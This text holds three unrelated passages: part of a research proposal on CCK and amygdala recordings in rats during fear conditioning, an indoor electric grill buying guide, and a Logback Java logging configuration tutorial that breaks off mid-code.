metabolites, respectively, as well as that of a further oxidation peak when the differential pulse voltammetric (DPV) recordings were made in the same solution with the addition of the amino acids or neuropeptides such as CCK and when the DPV scan rate used was 10mV/s from -250 to +950mV at a step size of 50mV (see Figure 2). The DPV measurements of oxidation potentials and of oxidation currents are done automatically every 5min by the Autolab polarograph (potentiostat/galvanostat Ecochemie, The Netherlands) linked to an IBM pc computer equipped with a general purpose electrochemical system software (GPES) package. Figure 2. Traces obtained in vivo in the amygdala of a single animal by means of the same micro-electrode: In Vivo Extracellular Single Unit Recording The unit wave signals are fed into an amplifier (Fintronics). The signals are also led to an Axon Instruments system for acquisition and subsequently off-line analysis. Single unit discrimination is accomplished through a window discriminator (FHC Instruments) connected to an oscilloscope (Textronics) For freely moving animal preparations a chronic stage will be used. The animals are placed in a stereotaxic frame under pentobarbital anaesthesia (40mg/kg). An opening is drilled through the skull above the CNS structure of interest (e.g. amygdala, hippocampus, etc.). The microsensor is then located into the area selected as described earlier 51 and fixed into a head stage mounted with dental acrylic on the skull of the animal. After a recovery of 5-7 days the animals will be ready for behavioral tests. Previous experiments using such microsensors for concomitant in vivo electrophysiological and voltammetric measurements demonstrated that there is no reciprocal influence upon the respective signals recorded in vivo. And that that no damage is done to the single unit recordings by the current used for voltammetry 46. Here, Figure 2 shows single cell discrimination and voltammetry recording in a Central Amygdala preparation. DP Voltammograms lasting 60sec each are carried out every 5 min. In the interval time of 5 min electrophysiological measurements are performed. It appears evident that electrophysiological monitoring of unit activity is not altered after voltammetry recording and this during 1 hour of control analysis. This is in accord with the above mentioned studies that have been performed in other brain areas, therefore further supporting this methodological approach. DPVoltammograms show three signals at approximately +50mV; +300mV and +650mV, respectively. They correspond to the oxidation of endogenous cathechol (peak 1), indole (peak 3) and peptidergic (peak 5) compounds, respectively. In particular peak 5 recorded in amygdala may corresponds to the oxidation of endogenous CCK 51, 52. Pharmacology In the experiments performed under urethane anaesthesia, CCK and CCK antagonist will be administered iv (in the lateral tail vein) or icv (in a lateral ventricle) when the drugs do not readily pass the blood-brain barrier. In freely behaving animals experiments a 23 gauge guide canula will be implanted in a lateral ventricle and secured to skull screws with dental cement. Drugs will be then injected before the behavioral test through a 30 gauge canula extending out of the previously implanted guide canula by 1mm. Specific Experiments Effects of CCK and CCKs Antagonists on Amygdala in Rats Under Anaesthesia As a first step towards the understanding of the effects of CCK and CCKs antagonist on the amygdala, the rates and changes in the electrophysiology and receptor release in animals restrained under urethane anaesthesia will be determined. Although high concentrations of CCK are found in amygdala (see INTRODUCTION), no information is known about the response of single cells to CCK or CCK antagonist injections in the experimental conditions used here i.e. monitoring neurotransmitter release through voltammetry and record at the same time unit activity with electrophysiology techniques. Changes in number of spikes of single cells will be correlated to changes in CCK release. Other neurotransmitter systems will be observed as well. Dopamine (DA) levels for example could be affected by CCK or CCK antagonist injections due to a possible coexistence of DA and CCK in amygdala. Indeed, the influence of CCK on this aminergic system has been observed 33, 54. In rodents, it has been shown that memory enhancement produced by subcutaneous (sc) administration of CCK-8 involves the amygdala 38, 55, 56. Fekete and Coll. Injected CCK-8 into the central amygdala and found enhanced fear in rats 38. Are these effects associated to an increase in single cell activity in amygdala or only a general increase of CCK concentrations will be detected? This preliminary phase will allow answering some of these questions. Effects of CCK and CCKB Antagonists on Target Areas of the Amygdala in Rats Under Anaesthesia A highly correlated set of behaviors seen during fear could be a result of the activation of the amygdala that project to target areas critical for various symptoms of fear and anxiety. During the years, number of investigations has focused on the modulation of DA release by CCK 57, 58, 59, 60. Using single cell 61 or electrochemical 62 techniques, some studies had demonstrated involvement of D-2 DA receptors in the interaction DA-CCK in the nucleus accumbens. No study, however, has ever analyzed electrophysiology activity and neurochemistry outcome together in the same experiment. The experiments proposed here will concentrate in areas of projections of the amygdala: nucleus accumbens, prefrontal cortex, and hippocampus; cell firing and receptor release in animals under urethane anaesthesia will be analyzed. Recordings will be made in these projection areas during CCK or CCK-B antagonist G15013 injections in the lateral ventricle. Some experiments could involve stimulation of the amygdala and recording in the target areas to study directly the effects of CCK drugs on these output pathways. Anxiolytic Effects of CCK B Antagonists During Fear Conditioning Test The aim of this experiment is to study the effect of CCK and CCK antagonists on a fear conditioning test. Animals will be implanted with a carbon fiber electrode as already described 45, 51. After a recovery of 5-7 days unit discharge rates and transmitter release will be measured before, during, and after the conditioning test. After few presentations (2 trials a day for only 2 days) of the tone (the CS) the animals will be conditioned. On the 3rd day of the test they exhibit freezing behavior at the sound of the tone (see METHODS). Thus, simultaneous electrochemical (voltammetric) and electrophysiological recordings will be performed in the amygdala, or in target areas like the nucleus accumbens or the prefrontal cortex. During the state of anxiety of the animal detection of changes in the unit activity rates and/or in the release of endogenous chemicals are expected. Are CCK levels increasing in the amygdala during the CS presentation and the freezing of the animal? Are DA levels also changed in prefrontal cortex or in the nucleus accumbens as a consequence of the state of fear/anxiety? An increase of CCK concentration in limbic regions after inescapable foot-shock has been reported 34, 42, 63. Therefore it was concluded that this increase was due to a state of stress in the animal. It is possible, however, that only pain mechanisms were involved in their experiment, given the role of CCK in analgesia 34. The present experimental behavioural approach should be able to dissociate pain mechanisms from the fear /anxiety state. By recording before conditioning during foot-shock presentation and after conditioning when the animal freezes to the CS (the tone) and no foot-shock is presented, it would be possible to determine what system is involved: if CCK levels increase during conditioning but not in the presence of the foot-shock, it can be proposed that CCK is selectively involved in fear and anxiety responses. In a second phase of this study another group of animals will be implanted also with a canula aimed at the lateral ventricle to inject icv CCKB antagonist G15013. In such way it will be feasible to monitor putative changes in the behavior, single cell activity (electrophysiology) and chemical level (voltammetry). In particular, if the selective CCKB antagonist will implement anxiolytic effects, the animal behavior will show no or reduced freezing response to the CS, as well as no or not significant electrophysiological and chemical changes compared to control animals. Conclusions There is a strong evidence for a crucial role of the amygdala in fear and anxiety. An increasing number of studies are emerging to establish CCK as an important modulator system for anxiety 60, 64, 65. A better understanding of brain systems that inhibit the amygdala, as well as the role of its high levels of peptides, could be attained with the proposed approach and may eventually lead to development of more effective pharmacological strategies for treating clinical anxiety disorders.

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You will find splatter and drippings near the burners and the inside of the appliance that isn’t very easy to clean. It's worth considering this before deciding if it's the grill for you! Pros - Versatile - perfect for roasts, whole chickens, and kebabs - Stainless steel body - provides durability and ensures the grill will stand the test of time - Lots of heating power - ideal for reaching hot temperatures and searing meats - Lots of added extras - allows you to cook what you want, how you want Cons - Isn’t the easiest to clean RUNNER UP For those on a budget, Hamilton’s electric grill is the perfect option for you! If you want to dip your toe in the world of electric grills without spending a fortune, then look no further than this grill. What you need to know - Cooking area: 118 sq in - Weight: 8.14lbs - Materials: stainless steel and nonstick cooking surface - Dimensions: 12.4 x 16.73 x 6.81 inches - Wattage: 1200 Not only is the grill affordable, but compact too! Thanks to its portability it's ideal for traveling and can be stored with ease when you aren’t using it. The small size makes it perfect for use on your countertop without needing to move other items around. What's more, the black stainless design is super sleek and will look lovely in most kitchens. And don’t let the size put you off; this grill can get just as hot as the others! Across a 118 square inch cooking grate, you can enjoy searing temperatures of up to 450 degrees Fahrenheit! It's also super easy to clean the grill. The drip tray, hoot, and grate are all removable and dishwasher safe. It's never been easier to clean your grill after use! While the power cord isn’t the longest, you can enjoy added features like power and preheat lights that allow you to see when your grill is hot enough to use. It might be small, but this grill comes packed with the power you are sure to love! Pros - Affordable - suitable for a range of budgets - Simple design - makes it super easy for anyone to use - Compact - perfect for traveling with band storing in tight spaces - Easy to clean - it gives you more time to enjoy your food! Cons - The power cord is quite short - The grilling area is on the small side RUNNER UP Next up, we have this fantastic countertop grill from Cusinax. For those that crave a powerful grill, this is the one for you! You get fantastic temperature control, with a range from 200 to 450 degrees Fahrenheit, allowing you to cook at the temperature you want. The non-stick cooking grate is the ideal size for all of your cooking needs too! And at such an affordable price, you can’t go wrong! The versatility of this grill means you can cook low-temperature foods like bacon or fish and sear steaks and burgers too! The possibilities are endless! What you need to know - Cooking area: 135 sq in - Weight: 11lbs - Materials: nonstick cooking surface - Dimensions: 19.69 x 11.81 x 5.12 inches - Wattage: 1500 This grill is incredibly well designed and emits practically no smoke! The inner fan works to maintain airflow and keep the smoke to a minimum, while the tempered glass lid ensures the mess stays inside the grill! Speaking of mess, this grill is ridiculously easy to clean too! You can place the glass lid, heating plates, and heat reflector into the dishwasher, giving you more time to yourself after eating. Cusimax’s grill is also compact, allowing you to store it on the counter or tuck it away if you wish! It's also incredibly lightweight, making it super easy to travel with! And for peace of mind, you get a whopping 180-day return policy. It's the perfect grill to try out if you are on the fence about purchasing one. Just be mindful that the instruction manual isn’t the most straightforward to follow. Be sure to allow plenty of time to set the grill up and use it the first few times until you are familiar with it. Pros - Practically smokeless - for safe and easy use - Affordable - suitable for most budgets - Precise temperature control - allows you to cook at different temperatures with ease. - Compact size - ideal for storage and traveling - Easy to clean - most parts can be placed in the dishwasher. Cons - The instruction manual can be confusing. RUNNER UP And finally, we have George Foreman's indoor and outdoor grill. This grill comes as a stand-alone unit resting on a pedestal stand, and the stand can be broken down easily, making storage a breeze! It's also the perfect size for small patios and balconies. If you need a neat grill to tuck in a corner, this is the one for you! What you need to know - Cooking area: 240 sq in - Weight: 21lbs - Materials: metal and nonstick cooking surface - Wattage: 1,600 - Dimensions: 22.2 x 20.5 x 13 inches without the stand You get a whopping grill with this option, boasting 240 square inches of cooking space on the circular grate, making it ideal for larger parties or feeding big families! You can enjoy an old-school kettle grill, which is not only a wonderful style but offers the best heat distribution when compared to other grill designs! The grate removes easily, too, making cleaning a breeze! The grill is made from super-tough non-stick materials, making cleaning easier and ensuring that half your burger isn’t stuck to the grill when it comes to flipping it! For those who want to cook for bigger groups, the larger size and easy cleaning grill are the one for you. It's worth noting that its larger size means less power for searing and high-heat cooking. You might need to preheat the grill for a while to get the heat you need. The cord is also on the shorter side, so you will need to keep it near a power outlet or invest in some extension cords if you don’t have any! But if you want a large grilling surface and a standalone grill, then it's the George Foreman grill for you! Pros - Large grilling surface - offers plenty of space to cook for your family and friends. - Versatile use - can be used indoors and balconies and yards - Removable stand - allows you to use it at different heights - Easy to clean - ideal for those in a rush Cons - The cord is on the shorter side. Best Smokeless Indoor Grills Buying Guide Not too sure what to look for when purchasing your new indoor grill? Our buyer’s guide is packed full of features and factors you should consider when making your purchase. Keep reading to find out what you should look for and make your decision today! Is it smokeless? When looking for an indoor grill, you need to check that it's safe for indoor use before doing anything! This information is usually stated on the box or product description, making it super easy for you to check this! You will want your grill to have a smoke management system that minimizes the smoke entering your home. The last thing you want to do is accidentally set the smoke alarm off in your entire apartment building! There are two areas you will want to check to ensure this. The first is the grates. An open grate and flame cooking on outdoor grills will allow the drippings to burn and char, and indoor grills use a closed grate instead. These drain drippings away, preventing them from flaring up and wreaking havoc! The second area is the fans and drip pans. A few different techniques are adopted to keep the smoke to a minimum, and they often involve fans and drip pans. Fans are often used to provide a cooling airflow to stop smoke from escaping. Other grills might use a drip pan filled with water that will work to keep the temperature down. These techniques aim to keep grease off the heating elements that could increase the smoke emitted. No matter the option you choose, you need to be realistic. None of these is one hundred percent smokeless. There will always be some charred bits and wisps of smoke that escape the grill. But there should be far less smoke than cooking at a barbeque. Instead, it's more like cooking on a griddle. Are they easy to clean? By default, indoor grills tend to be far easier to clean than other grills or outdoor BBQs. But there are a few features we can look out for that will help keep the indoor grill as clean as possible and make it easier for us to clean the grill once we have used it. Keep an eye out for the following: Dishwasher safe Most indoor girls come with grates and other components that can be placed directly into the dishwasher. This makes cleaning up a breeze and allows you to enjoy the rest of your day! For those that are hand washed only, they tend to feature a non-stick material meaning you can wipe them easily and enjoy a clean grill! Grease management These days, indoor grills are made to capture and drain away drippings. That means there should be a grease management system built in. Be sure to check this before making your purchase. The better the grease management is, the easier cleaning your grill will be. Be sure to make the most of customer reviews to see what others say about the grill and how easy it is to clean. These can be vital in making your decisions and provide you with an insight into the grill before making your purchase! Lid It’s worth noting the type of lid that comes with your grill too. Just like cooking on your stove, food can spit and splatter, leaving you with an additional mess to clean up. You can keep the mess to a minimum and reduce your time spent cleaning by using a lid! Check if the lid is removable and dishwasher safe, too, as this will make cleaning up afterward even easier! In some cases, lids will be integrated into the grill body, but you should still be able to clean them. The grills user manual will tell you how best you can clean these lids and the rest of the grill. Size As we mentioned earlier, electric grills tend to be smaller than outdoor propane grills. This is mostly down to the amount of heat we can get from standard power outlets (more on this later). You must find the grill that suits your needs and cook enough food for you and your family. If you use the grill in your kitchen, you can use the stove or oven for cooking your side dishes or keeping them warm. It's also worth measuring your space to ensure that the grill can be accommodated in your kitchen. You will want plenty of space not only to use your grill but to store it too. Be sure to measure the space and ensure that you check the grill’s dimensions so that it fits when it arrives! Wattage Be sure to check the wattage of the electric grill before making your purchase. Generally, American wall outlets can handle up to 1800 watts or 2400 watts with a 20amp circuit breaker. Thankfully, most electric grills have a maximum power of 1780 watts, so you don’t need to stress too much about this. This does mean, though, that there’s only so much grilling surface that can be heated. Sure, you can get larger grills, but it's worth noting that they might not get as hot as smaller grills. The wattage can help show you whether it will or not, as will customer reviews always worth reading! Storage Consider where you will store your grill when you aren’t using it. Is there enough room? You will also want to consider where the grill will be placed when it's in use. Is there enough room in your kitchen? If smoke is released, will it be an issue? Consider these factors and the size of the grill you have selected before making your purchase. Temperature control These days most electric grills offer accurate control of the cooking temperature. Smokeless grills tend to use electric heater elements like range burners, making the heat easy to control. Usually, there is a temperature dial that you can control to do this with ease. Grills with these kinds of temperature controls tend to be ideal for cooking not only at low temperatures but they can get super hot, making them ideal for searing. Be sure to check what temperature control your grill has before making your purchase today! Is it portable? How portable the grill is another factor to consider when making your purchase. Chances are you will be moving the grill in and out of storage, taking it to a balcony or patio area, or even traveling with it. In these cases, you want a lightweight and compact model that you can transport easily. Ideally, you will want a grill with carry handles, too, as you can move the grill easily this way. It's worth noting that larger grills tend to be heavier and can be harder to travel with. Added extras It's also worth considering any added or additional features that your grill comes with. You will want to look for features that set your grill apart from others on the market or features that you will take advantage of. Look out for some of the following: Temperature indicator These days most electric grills will come with an indicator light that tells you if the heating element is turned on or not. When the light goes off, it shows that the grill has reached the preset temperature and is ready for use. In more advanced grills, there will be a digital display that shows the current temperature of the grill. These are super handy for those that love to know the exact temperature! Non-slip feet Non-slip feet prevent your grill from sliding on your table or countertop while you are cooking. It takes the worries and stress out of cooking and reduces the chance of any accidents or injuries while cooking. Interchangeable grates Interchangeable grates are a fantastic addition that allows you to cook whatever you want on the grill. If that is pancakes for breakfast and burgers for lunch, you can do it with these grates! Simply swap out the grates, and you are away to go! How safe is it? Finally, you will want to consider the safety of the grill you choose. Ensure that it is suitable for indoor use and has some safety features that ensure you are protected. Auto-shut-off functions are handy and ensure that the grill doesn’t get too hot when using it. These also help prevent fires and are handy for those who forget to turn appliances off before leaving the house! You will also want to ensure that the grill is made with durable materials that are food-safe too. The last thing you want is any harmful chemicals reacting with your food! Want to add more flavor? Have you cooked on an electric grill before and found that it doesn't have the flavor you enjoy? Perhaps it is missing that smokey taste we normally get from a BBQ? Well, you aren’t alone! Lots of grill users also cite this issue. But thankfully, there are a few solutions that you can explore! All of these are fantastic options that are sure to provide plenty of flavor to your grilled items no matter your tastes! Let’s take a look at these options now. Liquid smoke Liquid smoke is a natural product that makes a wonderful marinade! You can use it to provide your meat and veggies with lots of flavors, either as a marinade, or you can brush some of the sauce directly onto the meat! You don’t need much either; a little goes a long way and is sure to provide you with the flavors you want. Liquid smoke is made by condensing the smoke from burning wood. Popular varieties include hickory, mesquite, pecan, or applewood. It's a popular addition in vegan cooking, so you can use it on your veggie dishes, too, if you wish! It isn’t too expensive either and can be found in most stores and online. Ready-made sauces Another option is to use ready-made barbecue sauces. These will often include liquid smoke and come packed with flavor! You can try a classic BBQ sauce or mix it up and use some Korean sauces if you wish. The choice is endless with these sauces, too, making them ideal for evenings when you mix it up and incorporate more flavors. You could even make your sauces if you wish, so why not get creative? These sauces can be brushed onto the meat before cooking, or for a more intense flavor, we recommend marinating them overnight. Coat your meats in the sauce and place them in the refrigerator overnight for a truly wonderful taste! Frequently Asked Questions Get your last-minute queries answered here! Do electric grills get hot enough to sear steaks and burgers? Yes! Most high-quality electric grills can get hot enough to sear your favorite cuts of steak or burgers. Be mindful that you might need to preheat your grill for a while to reach these temperatures, though! Can indoor grills be used outside? Yes, your indoor electric grill can be used outdoors! You just need to ensure that the grill is not exposed to the rain, as water wreaks havoc on electrics! If you use an extension cord, ensure that the cord and plugs are protected from any water. You don’t want to cause an electrical fire accidentally! Are electric grills safe for indoor use? Electric grills that are approved for use indoors are generally safe. You can use the tips we mentioned earlier to check if the grill is suitable for indoor use. Usually, it will say on the product description too if it's safe for indoor use or not. You still need to take care of these grills and monitor them in use, like you would with any cooking. It's also best to ensure there are no flammable objects nearby to ensure your safety and the safety of others while you cook. Are electric grills entirely smokeless? While these grills are often called smokeless grills, they do still generate some smoke. You will notice it more when working with oily food or greasy meat. Thankfully, well-designed models will drain any melted fat and oil away from the hot parts of the grill. This helps to minimize the smoke and make cooking more enjoyable. However, you should be prepared for some smoke when using an indoor grill.

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Let’s see what a basic configuration equivalent to the default one looks like: <configuration> <appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender"> <encoder> <pattern>%d{HH:mm:ss.SSS} [%thread] %-5level %logger{50} - %msg%n</pattern> </encoder> </appender> <root level="debug"> <appender-ref </root> </configuration> This configuration defines a ConsoleAppender with a PatternLayout. Log messages on the console will be displayed at level DEBUG or below, using the defined pattern: 18:00:30.143 [main] DEBUG com.stackify.services.UserServiceTest - UserService Test An interesting and quite useful feature is that the library can automatically reload configuration files when they’re modified. You can enable this behavior by setting the scan=true attribute: <configuration scan="true"> ... </configuration> By default, the library scans and reloads files every minute. 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Appenders In the Logback architecture, appenders are the elements responsible for writing log statements. All appenders must implement the Appender interface. Furthermore, each appender corresponds to a certain type of output or mode of sending data. Here are some of the most helpful appenders you can configure: - ConsoleAppender – writes messages to the system console - FileAppender – appends messages to a file - RollingFileAppender – extends the FileAppender with the ability to roll over log files - SMTPAppender – sends log messages in an email, by default only for ERROR messages - DBAppender – adds log events to a database - SiftingAppender – separates logs based on a runtime attribute Let’s see a few configuration examples for some of these. The ConsoleAppender The ConsoleAppender is one of the more basic appenders available in Logback, as it can only log messages to System.out or System.err. The configuration for this appender usually requires specifying an encoder, as we saw in the basic example config from the previous section. By default, messages are logged to the System.out, but you can change that using the target attribute: <appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender"> ... <target>System.err</target> </appender> The RollingFileAppender Logging to file is naturally the way to go in any kind of production scenario where you need persistent logs. However, if all the logs are kept in a single file, this runs the risk of becoming too large and difficult to wade through. It’s also to make the long-term storage/warehousing of log data very difficult. That’s when rolling files come in handy. To address this well-known limitation, Logback provides the RollingFileAppender, which rolls over the log file when certain conditions are met. The appender has two components: - RollingPolicy – which determines how the rollover is performed - TrigerringPolicy – which determines when the file is rolled over To better understand these policies, let’s create an appender which makes use of a TimeBasedRollingPolicy and a SizeTriggeringPolicy: <appender name="rollingFile" class="ch.qos.logback.core.rolling.RollingFileAppender"> <rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy"> <fileNamePattern>log-%d{yyyy-MM-dd}.log</fileNamePattern> <maxHistory>30</maxHistory> <totalSizeCap>3GB</totalSizeCap> </rollingPolicy> <triggeringPolicy class="ch.qos.logback.core.rolling.SizeBasedTriggeringPolicy"> <maxFileSize>3MB</maxFileSize> </triggeringPolicy> <encoder> <pattern>[%thread] %-5level %logger{36} - %msg%n</pattern> </encoder> </appender> The TimeBasedRollingPolicy implements both a RollingPolicy and a TriggeringPolicy. The example above configures the fileNamePattern attribute based on the day – which means the name of each file contains the current date, and also that the rollover will happen daily. Notice how we’re limiting the log data here – maxHistory is set to a value of 30, alongside a totalSizeCap of 3GB – which means that the archived logs will be kept for the past 30 days, up to a maximum size of 3GB. Finally, the SizeBasedTriggeringPolicy defined configures the rollover of the file whenever it reaches 3 MB. Of course that’s quite a low limit, and a mature log-viewing tool can certainly handle a lot more than that. You can now see how we’ve slowly moved out from basic examples to a more realistic configuration you can actually start using as the project moves towards production. The SiftingAppender This appender can be useful in situations when you want logs to be separated based on a runtime attribute, such as the user session. The implementation of this appender relies on creating nested appenders and using one of these for logging depending on a discriminator. The default discriminator used is MDCBasedDiscriminator. To see this functionality in action, let’s configure a SiftingAppender which separates logs into different files based on the userRole key: <appender name="roleSiftingAppender" class="ch.qos.logback.classic.sift.SiftingAppender"> <discriminator> <key>userRole</key> <defaultValue>ANONYMOUS</defaultValue> </discriminator> <sift> <appender name="fileAppender" class="ch.qos.logback.core.FileAppender"> <file>${userRole}.log</file> <encoder> <pattern>%d [%thread] %level %mdc %logger{50} - %msg%n</pattern> </encoder> </appender> </sift> </appender> For the discriminator to have access to the userRole key, you need to place it in the MDC (Mapped Diagnostic Context). Simply put, MDC allows you to set information to be later retrieved by other Logback components, using a simple, static API: MDC.put("userRole", "ADMIN"); logger.info("Admin Action"); This will write the log message in a file called ADMIN.log. Layouts and Encoders Now that you’re starting to understand how appenders work and just how flexible and powerful they are, let’s focus on another foundational component in Logback. The components responsible for transforming a log message to the desired output format are layouts and encoders. Layouts can only transform a message into String, while encoders are more flexible and can transform the message into a byte array, then write that to an OutputStream. This means encoders have more control over when and how bytes are written. As a result, starting with version 0.9.19, layouts have been deprecated, but they can still be used for a transition period. If you do still use layouts actively, Logback will print a warning message: This appender no longer admits a layout as a sub-component, set an encoder instead. While they’re starting to be phased out, layouts are still widely used and quite a powerful component on their own, so they’re well-worth understanding. Some of the most commonly used layouts are PatternLayout, HTMLLayout and XMLLayout – let’s have a quick look at these in practice. The PatternLayout This layout creates a String from a log message based on a conversion pattern. The pattern is quite flexible and allows declaring several conversion specifiers – which can control the characteristics of the output String such as length and color and can also insert values into the output String. Let’s see an example of a PatternLayout that prints the name of the logging thread in green, the logger name with a length of 50 characters and displays the log levels using different colors, with the %highlight modifier: <appender name="colorAppender" class="ch.qos.logback.core.ConsoleAppender"> <layout class="ch.qos.logback.classic.PatternLayout"> <pattern>%d %green([%thread]) %highlight(%level) %logger{50} - %msg%n</pattern> </layout> </appender> The output of this configuration shows log lines with the format we defined: To avoid the deprecated use of layouts, you can also wrap the PatternLayout in an encoder; Logback provides a convenient PatternLayoutEncoder designed for this layout: <appender name="colorAppender" class="ch.qos.logback.core.ConsoleAppender"> <encoder class="ch.qos.logback.classic.encoder.PatternLayoutEncoder"> <pattern>%d %green([%thread]) %highlight(%level) %logger{50} - %msg%n</pattern> </encoder> </appender> The HTMLLayout The HTMLLayout displays log data in an HTML table format, to which you can add custom styles. Let’s configure an HTMLLayout using a LayoutWrappingEncoder to avoid the deprecation: <appender name="htmlAppender" class="ch.qos.logback.core.FileAppender"> <file>log.html</file> <encoder class="ch.qos.logback.core.encoder.LayoutWrappingEncoder"> <layout class="ch.qos.logback.classic.html.HTMLLayout"> <pattern>%thread%level%logger%msg</pattern> </layout> </encoder> </appender> In the example above, the layout is used by a FileAppender to print logs to a log.html file. Here’s what the content of the HTML file will look like, using the default CSS: So far, we’ve used in the layout examples the two main encoders available: PatternLayoutEncoder and LayoutWrappingEncoder. The purpose of these encoders is to support the transition from layouts to encoders. Of course, future versions of Logback will add additional encoders with more powerful capabilities. Loggers Loggers are the third main component of Logback, which developers can use to log messages at a certain level. The library defines 5 log levels: TRACE, DEBUG, INFO, WARN, ERROR; each of these has a corresponding logging method: trace(), debug(), info(), warn(), error(). In previous examples, we’ve seen a configuration of the root logger: <root level="debug"> <appender-ref </root> This sits at the top of the logger hierarchy and is provided by default, even if you don’t configure it explicitly, with a ConsoleAppender with the DEBUG level. Let’s now define another logger, with an INFO level, which uses the rollingFileAppender: <logger level="info" name="rollingFileLogger"> <appender-ref </logger> If you don’t explicitly define a log level, the logger will inherit the level of its closest ancestor; in this case, the DEBUG level of the root logger. As you can see, the name attribute specifies a logger name that you can later use to retrieve that particular logger: Logger rollingFileLogger = LoggerFactory.getLogger("rollingFileLogger"); rollingFileLogger.info("Testing rolling file logger"); What’s interesting here is that you can actually also configure the log level programmatically, by casting to the ch.qos.logback.classic.Logger class, instead of the org.slf4j.Logger interface: ch.qos.logback.classic.Logger rollingFileLogger = (ch.qos.logback.classic.Logger) LoggerFactory.getLogger("rollingFileLogger"); rollingFileLogger.setLevel(Level.DEBUG); rollingFileLogger.debug("Testing Log Level"); Parameterized Logging In some cases, the log message may contain parameters which have to be calculated. But, keep in mind that, if the log level for the message is not enabled, then the calculation is not really necessary. One way to avoid this and therefore improve performance is to check the log level before logging the message and constructing the parameter: if (logger.isDebugEnabled()) { logger.debug("The bonus for employee: " + employee.getName() + " is " + employeeService.calculateBonus(employee)); } As you can see, this is simple but can get a bit verbose. Another alternative is to make use of Logback message format: logger.debug("The bonus for employee {} is {}", employee.getName(), employeeService.calculateBonus(employee)); This format ensures that the logger will first verify is the log level is enabled, and only afterward will it determine and use the value of the parameters in the log message. Logger Additivity By default, a log message will be displayed by the logger which writes it, as well as the ancestor loggers. And, since root is the ancestor of all loggers, all messages will also be displayed by the root logger. To disable this behavior, you need to set the additivity=false property on the logger element: <logger level="info" name="rollingFileLogger" additivity=false> ... </logger> Filtering Logs Deciding what log information gets processed based on the log level is a good way to get started, but at some point, that’s simply not enough. Logback has solid support for additional filtering, beyond just the log level, This is done with the help of filters – which determine whether a log message should be displayed or not. Simply put, a filter needs to implement the Filter class, with a single decide() method. This method returns enumeration values of type FilterReply: DENY, NEUTRAL or ACCEPT. The DENY value indicates the log event will not be processed, while ACCEPT means the log event is processed, skipping the evaluation of the remaining filters. Finally, NEUTRAL allows the next filters in the chain to be evaluated. If there are no more filters, the message is logged. Here are the primary types of filters we have available: LevelFilter, ThresholdFilter and EvaluatorFilter. The LevelFilter and ThresholdFilter are related to the log level, with the difference that LevelFilter verifies if a log message is equal to a given level, while the ThresholdFilter checks if log events are below a specified level. Let’s configure a LevelFilter that only allows ERROR messages: <appender name="STDOUT_LEVEL_FILTER_APPENDER" class="ch.qos.logback.core.ConsoleAppender"> <filter class="ch.qos.logback.classic.filter.LevelFilter"> <level>ERROR</level> <onMatch>ACCEPT</onMatch> <onMismatch>DENY</onMismatch> </filter> <encoder> <pattern>%d{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n</pattern> </encoder> <target>System.err</target> </appender> As you can see, the filter is associated to an appender which outputs the messages to the System.err target. Similarly, you can configure the ThresholdFilter by specifying the level attribute below which the filter rejects messages: <appender name="STDOUT_THRESHOLD_FILTER_APPENDER" class="ch.qos.logback.core.ConsoleAppender"> <filter class="ch.qos.logback.classic.filter.ThresholdFilter"> <level>DEBUG</level> </filter> <encoder> <pattern>%d{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n</pattern> </encoder> </appender> Next, let’s have a look at the EvaluatorFilter, which we can use for more complex conditions. The EvaluatorFilter The EvaluatorFilter implements the same decide() method as the two level-based filters above and uses an EventEvaluator object to determine whether a log message is accepted or denied. There are actually two implementations available: - GEventEvaluator – contains a condition written in Groovy - JaninoEventEvalutor – uses a Java expression as an evaluation condition Both evaluators require additional libraries on the classpath: groovy-all for the first EventEvaluator and janino for the second. Let’s take a look at how to define a Java-based EventEvaluator. First, you need the janino dependency: <dependency> <groupId>org.codehaus.janino</groupId> <artifactId>janino</artifactId> <version>3.0.7</version> </dependency> The evaluation condition has access to several objects, among which: event, message, logger, level. Based on these, you can configure a filter using a JaninoEventEvaluator: <appender name="STDOUT_EVALUATOR_FILTER_APPENDER" class="ch.qos.logback.core.ConsoleAppender"> <filter class="ch.qos.logback.core.filter.EvaluatorFilter"> <evaluator class="ch.qos.logback.classic.boolex.JaninoEventEvaluator"> <expression>return (level > DEBUG && message.toLowerCase().contains("employee"));</expression> </evaluator> <OnMismatch>DENY</OnMismatch> <OnMatch>ACCEPT</OnMatch> </filter> <encoder> <pattern>%d{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n</pattern> </encoder> </appender> The example above configures a filter that only accepts log messages that have a level higher than DEBUG and contain the “employee” text. Finally, for more high-level filtering, Logback also provides the TurboFilter class. The TurboFilter This filter behaves in a similar way to the Filter class, with the distinction that it’s not associated to a specific appender. Instead of accessing a logger object, it’s connected to the logging context and is invoked for every logging request. Here’s a simple implementation of this class – the DuplicateMessageFilter: <configuration> <turboFilter class="ch.qos.logback.classic.turbo.DuplicateMessageFilter"> <AllowedRepetitions>2</AllowedRepetitions> </turboFilter> </configuration> This configuration only allows 2 repetitions of the same log message (meaning 3 instances of it) and eliminates all subsequent ones. Conditional Processing of Configuration Files Logback supports <if>, <then>, <else> elements which control whether a part of the configuration is processed or not. This is a unique feature among logging libraries and requires the previously mentioned janino library. To define the conditions evaluated to control the processing of configuration, you can use the Java language. Furthermore, the expressions only have access to context or system properties. A common use case is enabling different configuration on different environments: <property scope="context" resource="application.properties" /> <if condition='property("env").equals("dev")'> <then> <root level="TRACE"> <appender-ref </root> </then> </if> This example configures the root logger to display messages of all levels to the console, but only for the development environment, defined through an env=dev property in the application.properties file. Extending Logback Beyond the many features that Logback already contains, its architecture allows for the possibility of creating custom components that you can use in the same way as the default ones. For example, here are several ways you can extend Logback’s functionality: - create a custom appender by extending the AppenderBase class and implementing the append() method - create a custom layout by subclassing the LayoutBase class and defining a doLayout() method - create a custom filter by extending the Filter class and implementing the decide() method - create a custom TurboFilter by extending the TurboFilter class and overriding the decide() method The configuration of the custom elements is the same as that of the standard elements. Let’s define a custom TurboFilter that will ignore all log messages of a specific logger: public class IgnoreLoggerFilter extends TurboFilter { private String loggerName; @Override public FilterReply decide(Marker marker, Logger logger, Level level, String format, Object[] params, Throwable t) { if (loggerName == null) { return FilterReply.NEUTRAL; } else if (loggerName.equals(logger.getName())) { return FilterReply.DENY; } else return FilterReply.NEUTRAL; } public void setLoggerName(String loggerName) { this.loggerName = 